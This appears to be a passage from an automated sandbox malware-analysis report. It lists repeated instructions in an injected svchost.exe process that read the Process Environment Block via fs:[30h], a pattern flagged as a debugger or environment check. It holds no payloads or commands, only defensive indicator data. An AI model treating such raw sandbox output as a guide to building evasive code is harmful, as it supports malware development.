Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B63C0 mov eax, dword ptr fs:[00000030h]	2_2_032B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]	2_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]	2_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322823B mov eax, dword ptr fs:[00000030h]	2_2_0322823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322826B mov eax, dword ptr fs:[00000030h]	2_2_0322826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B8243 mov eax, dword ptr fs:[00000030h]	2_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B8243 mov ecx, dword ptr fs:[00000030h]	2_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A250 mov eax, dword ptr fs:[00000030h]	2_2_0322A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236259 mov eax, dword ptr fs:[00000030h]	2_2_03236259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]	2_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]	2_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]	2_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]	2_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]	2_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]	2_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260124 mov eax, dword ptr fs:[00000030h]	2_2_03260124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov ecx, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F0115 mov eax, dword ptr fs:[00000030h]	2_2_032F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov ecx, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C156 mov eax, dword ptr fs:[00000030h]	2_2_0322C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C8158 mov eax, dword ptr fs:[00000030h]	2_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]	2_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]	2_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03270185 mov eax, dword ptr fs:[00000030h]	2_2_03270185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]	2_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]	2_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]	2_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]	2_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033061E5 mov eax, dword ptr fs:[00000030h]	2_2_033061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032601F8 mov eax, dword ptr fs:[00000030h]	2_2_032601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]	2_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]	2_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A020 mov eax, dword ptr fs:[00000030h]	2_2_0322A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C020 mov eax, dword ptr fs:[00000030h]	2_2_0322C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6030 mov eax, dword ptr fs:[00000030h]	2_2_032C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4000 mov ecx, dword ptr fs:[00000030h]	2_2_032B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325C073 mov eax, dword ptr fs:[00000030h]	2_2_0325C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232050 mov eax, dword ptr fs:[00000030h]	2_2_03232050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6050 mov eax, dword ptr fs:[00000030h]	2_2_032B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C80A8 mov eax, dword ptr fs:[00000030h]	2_2_032C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F60B8 mov eax, dword ptr fs:[00000030h]	2_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323208A mov eax, dword ptr fs:[00000030h]	2_2_0323208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0322A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032380E9 mov eax, dword ptr fs:[00000030h]	2_2_032380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B60E0 mov eax, dword ptr fs:[00000030h]	2_2_032B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0322C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032720F0 mov ecx, dword ptr fs:[00000030h]	2_2_032720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B20DE mov eax, dword ptr fs:[00000030h]	2_2_032B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]	2_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]	2_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov ecx, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AC730 mov eax, dword ptr fs:[00000030h]	2_2_032AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C700 mov eax, dword ptr fs:[00000030h]	2_2_0326C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230710 mov eax, dword ptr fs:[00000030h]	2_2_03230710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260710 mov eax, dword ptr fs:[00000030h]	2_2_03260710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238770 mov eax, dword ptr fs:[00000030h]	2_2_03238770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov esi, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230750 mov eax, dword ptr fs:[00000030h]	2_2_03230750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE75D mov eax, dword ptr fs:[00000030h]	2_2_032BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]	2_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]	2_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4755 mov eax, dword ptr fs:[00000030h]	2_2_032B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032307AF mov eax, dword ptr fs:[00000030h]	2_2_032307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E47A0 mov eax, dword ptr fs:[00000030h]	2_2_032E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D678E mov eax, dword ptr fs:[00000030h]	2_2_032D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_032BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]	2_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]	2_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B07C3 mov eax, dword ptr fs:[00000030h]	2_2_032B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E627 mov eax, dword ptr fs:[00000030h]	2_2_0324E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03266620 mov eax, dword ptr fs:[00000030h]	2_2_03266620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268620 mov eax, dword ptr fs:[00000030h]	2_2_03268620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323262C mov eax, dword ptr fs:[00000030h]	2_2_0323262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE609 mov eax, dword ptr fs:[00000030h]	2_2_032AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272619 mov eax, dword ptr fs:[00000030h]	2_2_03272619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]	2_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]	2_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]	2_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]	2_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03262674 mov eax, dword ptr fs:[00000030h]	2_2_03262674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324C640 mov eax, dword ptr fs:[00000030h]	2_2_0324C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0326C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032666B0 mov eax, dword ptr fs:[00000030h]	2_2_032666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]	2_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]	2_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]	2_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]	2_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6500 mov eax, dword ptr fs:[00000030h]	2_2_032C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
